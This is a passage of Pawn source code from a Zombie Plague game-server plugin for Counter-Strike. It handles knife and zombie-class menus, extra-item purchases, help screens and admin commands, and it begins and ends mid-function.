	WPN_AUTO_SEC = key
	
	drop_weapons(id, 2)
	
	static weaponid, wname[32]
	weaponid = ArrayGetCell(g_secondary_weaponids, key)
	ArrayGetString(g_secondary_items, key, wname, charsmax(wname))
	
	fm_give_item(id, wname)
	ExecuteHamB(Ham_GiveAmmo, id, MAXBPAMMO[weaponid], AMMOTYPE[weaponid], MAXBPAMMO[weaponid])

	if (!WPN_AUTOk_ON)
		show_menu_buy3(id)
	
	return PLUGIN_HANDLED;
}

public zp_user_infected_post(id, Infector)
{
	if(g_zombie[id])
	{
		MsgRelaySprite_AXE(id, false)
		MsgRelaySprite_strong(id, false)
		MsgRelaySprite_Combat(id, false)
		MsgRelaySprite_Hammer(id, false)
	}
}


public menu_buy3(id, key) {
	if (!g_isalive[id] || g_zombie[id])
		return PLUGIN_HANDLED;

	switch(key)
	{
		case 0:
		{
			g_user_knife[id] = AXE;
			
			//zp_get_hammer_false ( id )
			MsgRelaySprite_AXE(id, true)
				
			message_begin(MSG_ONE, get_user_msgid("WeapPickup"), _, id)
			write_byte(CSW_KNIFE)
			message_end()
			
			new weapon = get_user_weapon(id)
			if (weapon && get_user_weapon(id) == CSW_KNIFE)
			{
				set_pev(id, pev_viewmodel2, model_vknife_axe)
				set_pev(id, pev_weaponmodel2, model_pknife_axe)
			}
		}
		case 1:
		{
			g_user_knife[id] = STRONG;

			//zp_get_hammer_false ( id )
			MsgRelaySprite_strong(id, true)

			message_begin(MSG_ONE, get_user_msgid("WeapPickup"), _, id)
			write_byte(CSW_KNIFE)
			message_end()	
			
			new weapon = get_user_weapon(id)
			if (weapon && (weapon == CSW_KNIFE))
			{
				set_pev(id, pev_viewmodel2, model_vknife_strong)
				set_pev(id, pev_weaponmodel2, model_pknife_strong)
			}
		}
		case 2:
		{
			g_user_knife[id] = COMBAT;

			//zp_get_hammer_false ( id )
			MsgRelaySprite_Combat(id, true)


			message_begin(MSG_ONE, get_user_msgid("WeapPickup"), _, id)
			write_byte(CSW_KNIFE)
			message_end()	
			
			new weapon = get_user_weapon(id)
			if (weapon && weapon == CSW_KNIFE)
			{
				set_pev(id, pev_viewmodel2, model_vknife_combat)
				set_pev(id, pev_weaponmodel2, model_pknife_combat)
			}
		}
		case 3:
		{
			if (get_user_flags(id) & g_access_flag[ACCESS_ADMIN_MENU])
			{
				g_user_knife[id] = HAMMER;
				
				//zp_get_hammer ( id )
				MsgRelaySprite_Hammer(id, true)
			
				
				message_begin(MSG_ONE, get_user_msgid("WeapPickup"), _, id)
				write_byte(CSW_KNIFE)
				message_end()
				
				new weapon = get_user_weapon(id)
				if (weapon && weapon == CSW_KNIFE)
				{
					set_pev(id, pev_viewmodel2, model_vknife_hammer)
					set_pev(id, pev_weaponmodel2, model_pknife_hammer)

				}
			}
			else
			{
				show_menu_buy3(id)
				zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT_ACCESS")
			}
		}
	}

	client_cmd(id, "setinfo ^"%s^" ^"%d^"", szKnifesInfo, g_user_knife[id])

	if (key >= MENU_KEY_AUTOSELECT)
	{
		WPN_AUTOk_ON = 1 - WPN_AUTOk_ON

		show_menu_buy3(id)
	}

	WPN_AUTO_KF = key

	return PLUGIN_HANDLED;
}

public fw_PlayerAddToFullPack( ES_Handle, E, pEnt, pHost, bsHostFlags, pPlayer, pSet )
{       
        if( pPlayer && get_user_weapon(pEnt) == CSW_KNIFE && g_user_knife[pEnt] == HAMMER && !g_zombie[pEnt] && !g_is_saw[pEnt])
        {
                static iAnim;

                iAnim = get_es( ES_Handle, ES_Sequence );

                switch( iAnim )
                {
                        case 73, 74, 75, 76:
                        {
                                set_es( ES_Handle, ES_Sequence, iAnim += 10 );
                        }
                }
        }
        return FMRES_IGNORED;
}

public menu_extras(id, menuid, item) {
	if (item == MENU_EXIT)
	{
		menu_destroy(menuid)
		return PLUGIN_HANDLED;
	}
	
	if (!g_isalive[id])
	{
		zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT")
		menu_destroy(menuid)
		return PLUGIN_HANDLED;
	}
	
	static buffer[2], dummy, itemid
	menu_item_getinfo(menuid, item, dummy, buffer, charsmax(buffer), _, _, dummy)
	itemid = buffer[0]
	
	buy_extra_item(id, itemid)
	menu_destroy(menuid)
	return PLUGIN_HANDLED;
}
stock ChatColor(const id, const input[], any:...) {
	new count = 1, players[32]
	static msg[191]
	vformat(msg, 190, input, 3)
	
	replace_all(msg, 190, "!g", "^4") // Green Color
	replace_all(msg, 190, "!y", "^1") // Default Color
	replace_all(msg, 190, "!team", "^3") // Team Color
	replace_all(msg, 190, "!team2", "^0") // Team2 Color
	
	if (id) players[0] = id; else get_players(players, count, "ch")
	{
		for (new i = 0; i < count; i++)
		{
			if (is_user_connected(players[i]))
			{
				message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players[i])
				write_byte(players[i]);
				write_string(msg);
				message_end();
			}
		}
	}
}
buy_extra_item(id, itemid, ignorecost = 0) {
	static team
	team = ArrayGetCell(g_extraitem_team, itemid)
	
	if ((g_zombie[id] && !g_nemesis[id] && !(team & ZP_TEAM_ZOMBIE)) || (!g_zombie[id] && !g_survivor[id] && !(team & ZP_TEAM_HUMAN)) || (g_nemesis[id] && !(team & ZP_TEAM_NEMESIS)) || (g_survivor[id] && !(team & ZP_TEAM_SURVIVOR)))
	{
		zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT")
		return;
	}
	
	if ((itemid == EXTRA_NVISION && !get_pcvar_num(cvar_extranvision))
	|| (itemid == EXTRA_ANTIDOTE && (!get_pcvar_num(cvar_extraantidote) || g_antidotecounter >= get_pcvar_num(cvar_antidotelimit)))
	|| (itemid == EXTRA_MADNESS && (!get_pcvar_num(cvar_extramadness) || g_madnesscounter >= get_pcvar_num(cvar_madnesslimit)))
	|| (itemid == EXTRA_INFBOMB && (!get_pcvar_num(cvar_extrainfbomb) || g_infbombcounter >= get_pcvar_num(cvar_infbomblimit)))
	|| (itemid >= EXTRA_WEAPONS_STARTID && itemid <= EXTRAS_CUSTOM_STARTID-1 && !get_pcvar_num(cvar_extraweapons)))
	{
		zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT")
		return;
	}
	
	if ((itemid == EXTRA_ANTIDOTE && (g_endround || g_swarmround || g_nemround || g_survround || g_plagueround || fnGetZombies() <= 1 || (get_pcvar_num(cvar_deathmatch) && !get_pcvar_num(cvar_respawnafterlast) && fnGetHumans() == 1)))
	|| (itemid == EXTRA_MADNESS && g_nodamage[id]) || (itemid == EXTRA_INFBOMB && (g_endround || g_swarmround || g_nemround || g_survround || g_plagueround)))
	{
		zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT_CANTUSE")
		return;
	}
	
	
	if (itemid == g_buy_surv_extra_id && get_playersnum() <= 1)
	{
		ChatColor(id, "!g[ZP] %L", id, "BY_23");
		return;
	}
	else 
	if (itemid == g_buy_nem_extra_id && get_playersnum() <= 1)
	{
		ChatColor(id, "!g[ZP] %L", id, "MIN_NEMESIS");
		return;
	}
	
	if (!ignorecost)
	{
		if (g_ammopacks[id] < ArrayGetCell(g_extraitem_cost, itemid))
		{
			zp_colored_print(id, "^x04[ZP]^x01 %L", id, "NOT_ENOUGH_AMMO")
			return;
		}
		
		g_ammopacks[id] -= ArrayGetCell(g_extraitem_cost, itemid)
	}
	
	switch (itemid)
	{
		case EXTRA_NVISION:
		{
			g_nvision[id] = true
			
			if (!g_isbot[id])
			{
				g_nvisionenabled[id] = true
				
				if (get_pcvar_num(cvar_customnvg))
				{
					remove_task(id+TASK_NVISION)
					set_task(0.1, "set_user_nvision", id+TASK_NVISION, _, _, "b")
				}
				else
					set_user_gnvision(id, 1)
			}
			else
				cs_set_user_nvg(id, 1)
		}
		case EXTRA_ANTIDOTE:
		{
			g_antidotecounter++
			
			humanme(id, 0, 0)
		}
		case EXTRA_MADNESS:
		{
			g_madnesscounter++
			
			g_nodamage[id] = true
			set_task(0.1, "zombie_aura", id+TASK_AURA, _, _, "b")
			set_task(get_pcvar_float(cvar_madnessduration), "madness_over", id+TASK_BLOOD)
			ChatColor(id, "!g[ZP]!y %L", id, "BY_MADNESS")
			
			new cid = g_zombieclass[id];
			static sound[64]
			if(ArraySize(Array:ArrayGetCell(zombie_madness_c, cid)))
			{
				ArrayGetString(Array:ArrayGetCell(zombie_madness_c, cid), random_num(0, ArraySize(Array:ArrayGetCell(zombie_madness_c, cid)) - 1), sound, charsmax(sound))
				emit_sound(id, CHAN_VOICE, sound, 1.0, ATTN_NORM, 0, PITCH_NORM)
			} else
			{
				ArrayGetString(zombie_madness, random_num(0, ArraySize(zombie_madness) - 1), sound, charsmax(sound))
				emit_sound(id, CHAN_VOICE, sound, 1.0, ATTN_NORM, 0, PITCH_NORM)
			}
		}
		case EXTRA_INFBOMB:
		{
			g_infbombcounter++
			
			new szName[ 32 ]
			get_user_name( id, szName, 31 )
			set_hudmessage( 0, 205, 205, 0.05, 0.35, 1, 5.0, 5.0, 1.0, 1.0, -1 )
			show_hudmessage(0, "%L", LANG_PLAYER, "BY_GRENADE", szName )

			if (user_has_weapon(id, CSW_HEGRENADE))
			{
				cs_set_user_bpammo(id, CSW_HEGRENADE, cs_get_user_bpammo(id, CSW_HEGRENADE) + 1)
				
				message_begin(MSG_ONE_UNRELIABLE, g_msgAmmoPickup, _, id)
				write_byte(AMMOID[CSW_HEGRENADE]) // ammo id
				write_byte(1) // ammo amount
				message_end()
				
				emit_sound(id, CHAN_ITEM, sound_buyammo, 1.0, ATTN_NORM, 0, PITCH_NORM)
				
				return;
			}
			
			fm_give_item(id, "weapon_hegrenade")
		}
		default:
		{
			if(itemid == chain_id)
			{
				static iPlayersnum_chain;
				iPlayersnum_chain = fnGetAlive();

					if ( GetSawOwnerCount( ) >= 2 )
					{						
						zp_cs_set_user_money(id, zp_cs_get_user_money(id) + 59000)
						ChatColor(id, "!g[ZP]!y %L", id , "LIMIT_CHAINSAW");
						return
					}
					
					if (g_is_saw[id])
					{
						zp_cs_set_user_money(id, zp_cs_get_user_money(id) + 59000)
						ChatColor(id, "!g[ZP]!y %L", id, "CHAINSAW");
						return
					}
					else 
					{
						g_is_saw[id] = true;
						
						if( g_currentweapon[ id ] == CSW_KNIFE )
							event_curweapon(id);

						emit_sound(id, CHAN_WEAPON, sound_gunpickup, 1.0, ATTN_NORM, 0, PITCH_NORM);
						set_pev(id, pev_armorvalue, float(min(pev(id, pev_armorvalue)+get_pcvar_num(g_armor_amount), get_pcvar_num(g_armor_limit))));
						fm_set_user_health(id, get_pcvar_num(g_hp_amount));
						engfunc(EngFunc_EmitSound, id, CHAN_BODY, sound_kevlar, 1.0, ATTN_NORM, 0, PITCH_NORM);

						ChatColor(id, "!g[ZP]!y %L", id, "BY_CHAINSAW");
					}
			}
			else if (itemid >= EXTRA_WEAPONS_STARTID && itemid <= EXTRAS_CUSTOM_STARTID-1) // Weapons
			{
				static weaponid, wname[32]
				ArrayGetString(g_extraweapon_items, itemid - EXTRA_WEAPONS_STARTID, wname, charsmax(wname))
				weaponid = cs_weapon_name_to_id(wname)
				
				if (MAXBPAMMO[weaponid] > 2)
				{
					if ((1<<weaponid) & PRIMARY_WEAPONS_BIT_SUM)
						drop_weapons(id, 1)
					else
						drop_weapons(id, 2)
					
					ExecuteHamB(Ham_GiveAmmo, id, MAXBPAMMO[weaponid], AMMOTYPE[weaponid], MAXBPAMMO[weaponid])
				}
				else if (user_has_weapon(id, weaponid))
				{
					cs_set_user_bpammo(id, weaponid, cs_get_user_bpammo(id, weaponid) + 1)
					
					message_begin(MSG_ONE_UNRELIABLE, g_msgAmmoPickup, _, id)
					write_byte(AMMOID[weaponid]) // ammo id
					write_byte(1) // ammo amount
					message_end()
					
					emit_sound(id, CHAN_ITEM, sound_buyammo, 1.0, ATTN_NORM, 0, PITCH_NORM)
					
					return;
				}
				
				fm_give_item(id, wname)
			}
			else
			{
				ExecuteForward(g_fwExtraItemSelected, g_fwDummyResult, id, itemid);
				if(g_fwDummyResult >= ZP_PLUGIN_HANDLED && !ignorecost)
					g_ammopacks[id] += ArrayGetCell(g_extraitem_cost, itemid)
			}
		
		}
	}
}
public GetSawOwnerCount( )
{
        new iCount = 0;
 
        for( new i = 1; i <= g_maxplayers; i++ )
        {
                if( !is_user_alive( i ) )
                        continue;
 
                if( !g_is_saw[ i ] )
                        continue;
 
                iCount++;
        }
        return iCount;
}

public menu_zclass(id, menuid, item) {
	// Menu was closed
	if (item == MENU_EXIT)
	{
		menu_destroy(menuid)
		return PLUGIN_HANDLED;
	}
	
	// Retrieve zombie class id
	static buffer[2], dummy, classid
	menu_item_getinfo(menuid, item, dummy, buffer, charsmax(buffer), _, _, dummy)
	classid = buffer[0]

	if(ArrayGetCell(g_zclass_vip, classid)  < 0 && !(get_user_flags(id) & ADMIN_LEVEL_D))
	{
		ChatColor( id, "%L", id, "VIP_PLAYER")
		show_menu_zclass(id)
		return PLUGIN_HANDLED;
	}
	
	// Store selection for the next infection
	g_zombieclassnext[id] = classid
	
	static name[32]
	ArrayGetString(g_zclass_name, g_zombieclassnext[id], name, charsmax(name))
	
	if (contain(name, "ML_") != -1)
		format(name, charsmax(name), "%L", id, name[3])
		
		
	client_cmd(id, "setinfo ^"%s^" ^"%d^"", szClassInfo, g_zombieclassnext[id])
	
	// Show selected zombie class info and stats
	zp_colored_print(id, "^x04[ZP]^x01 %L: ^x04%s", id, "ZOMBIE_SELECT", name)
	zp_colored_print(id, "^x04[ZP]^x01 %L: ^x04%d ^x01| %L: ^x04%d ^x01| %L: ^x04%d ^x01| %L: ^x04%d%%", id, "ZOMBIE_ATTRIB1", ArrayGetCell(g_zclass_hp, g_zombieclassnext[id]), id, "ZOMBIE_ATTRIB2", ArrayGetCell(g_zclass_spd, g_zombieclassnext[id]),
	id, "ZOMBIE_ATTRIB3", floatround(Float:ArrayGetCell(g_zclass_grav, g_zombieclassnext[id]) * 800.0), id, "ZOMBIE_ATTRIB4", floatround(Float:ArrayGetCell(g_zclass_kb, g_zombieclassnext[id]) * 100.0))
	
	menu_destroy(menuid)
	return PLUGIN_HANDLED;
}

public menu_info(id, key) {
	static motd[1500], len
	len = 0
	
	switch (key)
	{
		case 0: // General
		{
			static weather, lighting[2]
			weather = 0
			get_pcvar_string(cvar_lighting, lighting, charsmax(lighting))
			strtolower(lighting)
			
			len += formatex(motd[len], charsmax(motd) - len, "%L ", id, "MOTD_INFO11", "Zombie Plague", PLUGIN_VERSION, "MeRcyLeZZ")
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO12")
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO1_A")
			
			if (g_ambience_fog)
			{
				len += formatex(motd[len], charsmax(motd) - len, (weather < 1) ? " %L" : ". %L", id, "MOTD_FOG")
				weather++
			}
			if (g_ambience_rain)
			{
				len += formatex(motd[len], charsmax(motd) - len, (weather < 1) ? " %L" : ". %L", id, "MOTD_RAIN")
				weather++
			}
			if (g_ambience_snow)
			{
				len += formatex(motd[len], charsmax(motd) - len, (weather < 1) ? " %L" : ". %L", id, "MOTD_SNOW")
				weather++
			}
			if (weather < 1) len += formatex(motd[len], charsmax(motd) - len, " %L", id, "MOTD_DISABLED")
			
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO1_B", lighting)
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO1_C", id, get_pcvar_num(cvar_triggered) ? "MOTD_ENABLED" : "MOTD_DISABLED")
			if (lighting[0] >= 'a' && lighting[0] <= 'd' && get_pcvar_float(cvar_thunder) > 0.0) len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO1_D", floatround(get_pcvar_float(cvar_thunder)))
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO1_E", id, get_pcvar_num(cvar_removedoors) > 0 ? get_pcvar_num(cvar_removedoors) > 1 ? "MOTD_DOORS" : "MOTD_ROTATING" : "MOTD_ENABLED")
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO1_F", id, get_pcvar_num(cvar_deathmatch) > 0 ? get_pcvar_num(cvar_deathmatch) > 1 ? get_pcvar_num(cvar_deathmatch) > 2 ? "MOTD_ENABLED" : "MOTD_DM_ZOMBIE" : "MOTD_DM_HUMAN" : "MOTD_DISABLED")
			if (get_pcvar_num(cvar_deathmatch)) len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO1_G", floatround(get_pcvar_float(cvar_spawnprotection)))
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO1_H", id, get_pcvar_num(cvar_randspawn) ? "MOTD_ENABLED" : "MOTD_DISABLED")
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO1_I", id, get_pcvar_num(cvar_extraitems) ? "MOTD_ENABLED" : "MOTD_DISABLED")
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO1_J", id, get_pcvar_num(cvar_zclasses) ? "MOTD_ENABLED" : "MOTD_DISABLED")
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO1_K", id, get_pcvar_num(cvar_customnvg) ? "MOTD_ENABLED" : "MOTD_DISABLED")
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO1_L", id, g_cached_customflash ? "MOTD_ENABLED" : "MOTD_DISABLED")
			
			show_motd(id, motd)
		}
		case 1: // Humans
		{
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO2")
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO2_A", get_pcvar_num(cvar_humanhp))
			if (get_pcvar_num(cvar_humanlasthp) > 0) len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO2_B", get_pcvar_num(cvar_humanlasthp))
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO2_C", get_pcvar_num(cvar_humanspd))
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO2_D", floatround(get_pcvar_float(cvar_humangravity) * 800.0))
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO2_E", id, get_pcvar_num(cvar_infammo) > 0 ? get_pcvar_num(cvar_infammo) > 1 ? "MOTD_AMMO_CLIP" : "MOTD_AMMO_BP" : "MOTD_LIMITED")
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO2_F", get_pcvar_num(cvar_ammodamage))
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO2_G", id, get_pcvar_num(cvar_firegrenades) ? "MOTD_ENABLED" : "MOTD_DISABLED")
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO2_H", id, get_pcvar_num(cvar_frostgrenades) ? "MOTD_ENABLED" : "MOTD_DISABLED")
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO2_I", id, get_pcvar_num(cvar_flaregrenades) ? "MOTD_ENABLED" : "MOTD_DISABLED")
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO2_J", id, get_pcvar_num(cvar_knockback) ? "MOTD_ENABLED" : "MOTD_DISABLED")
			
			show_motd(id, motd)
		}
		case 2: // Zombies
		{
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO3")
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO3_A", ArrayGetCell(g_zclass_hp, 0))
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO3_B", floatround(float(ArrayGetCell(g_zclass_hp, 0)) * get_pcvar_float(cvar_zombiefirsthp)))
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO3_C", floatround(get_pcvar_float(cvar_zombiearmor) * 100.0))
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO3_D", ArrayGetCell(g_zclass_spd, 0))
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO3_E", floatround(Float:ArrayGetCell(g_zclass_grav, 0) * 800.0))
			if (get_pcvar_num(cvar_zombiebonushp)) len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO3_F", get_pcvar_num(cvar_zombiebonushp))
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO3_G", id, get_pcvar_num(cvar_zombiepainfree) > 0 ? get_pcvar_num(cvar_zombiepainfree) > 1 ? "MOTD_LASTZOMBIE" : "MOTD_ENABLED" : "MOTD_DISABLED")
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO3_H", id, get_pcvar_num(cvar_zombiebleeding) ? "MOTD_ENABLED" : "MOTD_DISABLED")
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO3_I", get_pcvar_num(cvar_ammoinfect))
			
			show_motd(id, motd)
		}
		case 3: // Gameplay Modes
		{
			static nemhp[5], survhp[5]
			
			// Get nemesis and survivor health
			num_to_str(get_pcvar_num(cvar_nemhp), nemhp, charsmax(nemhp))
			num_to_str(get_pcvar_num(cvar_survhp), survhp, charsmax(survhp))
			
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO4")
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO4_A", id, get_pcvar_num(cvar_nem) ? "MOTD_ENABLED" : "MOTD_DISABLED")
			if (get_pcvar_num(cvar_nem))
			{
				len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO4_B", get_pcvar_num(cvar_nemchance))
				len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO4_C", get_pcvar_num(cvar_nemhp) > 0 ? nemhp : "[Auto]")
				len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO4_D", get_pcvar_num(cvar_nemspd))
				len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO4_E", floatround(get_pcvar_float(cvar_nemgravity) * 800.0))
				len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO4_F", id, g_cached_leapnemesis ? "MOTD_ENABLED" : "MOTD_DISABLED")
				len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO4_G", id, get_pcvar_num(cvar_nempainfree) ? "MOTD_ENABLED" : "MOTD_DISABLED")
			}
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO4_H", id, get_pcvar_num(cvar_surv) ? "MOTD_ENABLED" : "MOTD_DISABLED")
			if (get_pcvar_num(cvar_surv))
			{
				len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO4_I", get_pcvar_num(cvar_survchance))
				len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO4_J", get_pcvar_num(cvar_survhp) > 0 ? survhp : "[Auto]")
				len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO4_K", get_pcvar_num(cvar_survspd))
				len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO4_L", floatround(get_pcvar_float(cvar_survgravity) * 800.0))
				len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO4_M", id, g_cached_leapsurvivor ? "MOTD_ENABLED" : "MOTD_DISABLED")
				len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO4_N", id, get_pcvar_num(cvar_survpainfree) ? "MOTD_ENABLED" : "MOTD_DISABLED")
			}
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO4_O", id, get_pcvar_num(cvar_swarm) ? "MOTD_ENABLED" : "MOTD_DISABLED")
			if (get_pcvar_num(cvar_swarm)) len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO4_P", get_pcvar_num(cvar_swarmchance))
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO4_Q", id, get_pcvar_num(cvar_multi) ? "MOTD_ENABLED" : "MOTD_DISABLED")
			if (get_pcvar_num(cvar_multi))
			{
				len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO4_R", get_pcvar_num(cvar_multichance))
				len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO4_S", floatround(get_pcvar_float(cvar_multiratio) * 100.0))
			}
			len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO4_T", id, get_pcvar_num(cvar_plague) ? "MOTD_ENABLED" : "MOTD_DISABLED")
			if (get_pcvar_num(cvar_plague))
			{
				len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO4_U", get_pcvar_num(cvar_plaguechance))
				len += formatex(motd[len], charsmax(motd) - len, "%L", id, "MOTD_INFO4_V", floatround(get_pcvar_float(cvar_plagueratio) * 100.0))
			}
			
			show_motd(id, motd)
		}
		default: return PLUGIN_HANDLED;
	}
	
	// Show help menu again if user wishes to read another topic
	show_menu_info(id)
	
	return PLUGIN_HANDLED;
}

public menu_admin(id, key) {
	static userflags
	userflags = get_user_flags(id)
	
	switch (key)
	{
		case ACTION_ZOMBIEFY_HUMANIZE: // Zombiefy/Humanize command
		{
			if (userflags & (g_access_flag[ACCESS_MODE_INFECTION] | g_access_flag[ACCESS_MAKE_ZOMBIE] | g_access_flag[ACCESS_MAKE_HUMAN]))
			{
				// Show player list for admin to pick a target
				PL_ACTION = ACTION_ZOMBIEFY_HUMANIZE
				show_menu_player_list(id)
			}
			else
			{
				zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT_ACCESS")
				show_menu_admin(id)
			}
		}
		case ACTION_MAKE_NEMESIS: // Nemesis command
		{
			if (userflags & (g_access_flag[ACCESS_MODE_NEMESIS] | g_access_flag[ACCESS_MAKE_NEMESIS]))
			{
				// Show player list for admin to pick a target
				PL_ACTION = ACTION_MAKE_NEMESIS
				show_menu_player_list(id)
			}
			else
			{
				zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT_ACCESS")
				show_menu_admin(id)
			}
		}
		case ACTION_MAKE_SURVIVOR: // Survivor command
		{
			if (userflags & (g_access_flag[ACCESS_MODE_SURVIVOR] | g_access_flag[ACCESS_MAKE_SURVIVOR]))
			{
				// Show player list for admin to pick a target
				PL_ACTION = ACTION_MAKE_SURVIVOR
				show_menu_player_list(id)
			}
			else
			{
				zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT_ACCESS")
				show_menu_admin(id)
			}
		}
		case ACTION_RESPAWN_PLAYER: // Respawn command
		{
			if (userflags & g_access_flag[ACCESS_RESPAWN_PLAYERS])
			{
				// Show player list for admin to pick a target
				PL_ACTION = ACTION_RESPAWN_PLAYER
				show_menu_player_list(id)
			}
			else
			{
				zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT_ACCESS")
				show_menu_admin(id)
			}
		}
		case ACTION_MODE_SWARM: // Swarm Mode command
		{
			if (userflags & g_access_flag[ACCESS_MODE_SWARM])
			{
				if (allowed_swarm())
					command_swarm(id)
				else
					zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT")
			}
			else
				zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT_ACCESS")
			
			show_menu_admin(id)
		}
		case ACTION_MODE_MULTI: // Multiple Infection command
		{
			if (userflags & g_access_flag[ACCESS_MODE_MULTI])
			{
				if (allowed_multi())
					command_multi(id)
				else
					zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT")
			}
			else
				zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT_ACCESS")
			
			show_menu_admin(id)
		}
		case ACTION_MODE_PLAGUE: // Plague Mode command
		{
			if (userflags & g_access_flag[ACCESS_MODE_PLAGUE])
			{
				if (allowed_plague())
					command_plague(id)
				else
					zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT")
			}
			else
				zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT_ACCESS")
			
			show_menu_admin(id)
		}
	}
	
	return PLUGIN_HANDLED;
}

public menu_player_list(id, menuid, item) {
	// Menu was closed
	if (item == MENU_EXIT)
	{
		menu_destroy(menuid)
		show_menu_admin(id)
		return PLUGIN_HANDLED;
	}
	
	// Retrieve player id
	static buffer[2], dummy, playerid
	menu_item_getinfo(menuid, item, dummy, buffer, charsmax(buffer), _, _, dummy)
	playerid = buffer[0]
	
	// Perform action on player
	
	// Get admin flags
	static userflags
	userflags = get_user_flags(id)
	
	// Make sure it's still connected
	if (g_isconnected[playerid])
	{
		// Perform the right action if allowed
		switch (PL_ACTION)
		{
			case ACTION_ZOMBIEFY_HUMANIZE: // Zombiefy/Humanize command
			{
				if (g_zombie[playerid])
				{
					if (userflags & g_access_flag[ACCESS_MAKE_HUMAN])
					{
						if (allowed_human(playerid))
							command_human(id, playerid)
						else
							zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT")
					}
					else
						zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT_ACCESS")
				}
				else
				{
					if (g_newround ? (userflags & g_access_flag[ACCESS_MODE_INFECTION]) : (userflags & g_access_flag[ACCESS_MAKE_ZOMBIE]))
					{
						if (allowed_zombie(playerid))
							command_zombie(id, playerid)
						else
							zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT")
					}
					else
						zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT_ACCESS")
				}
			}
			case ACTION_MAKE_NEMESIS: // Nemesis command
			{
				if (g_newround ? (userflags & g_access_flag[ACCESS_MODE_NEMESIS]) : (userflags & g_access_flag[ACCESS_MAKE_NEMESIS]))
				{
					if (allowed_nemesis(playerid))
						command_nemesis(id, playerid)
					else
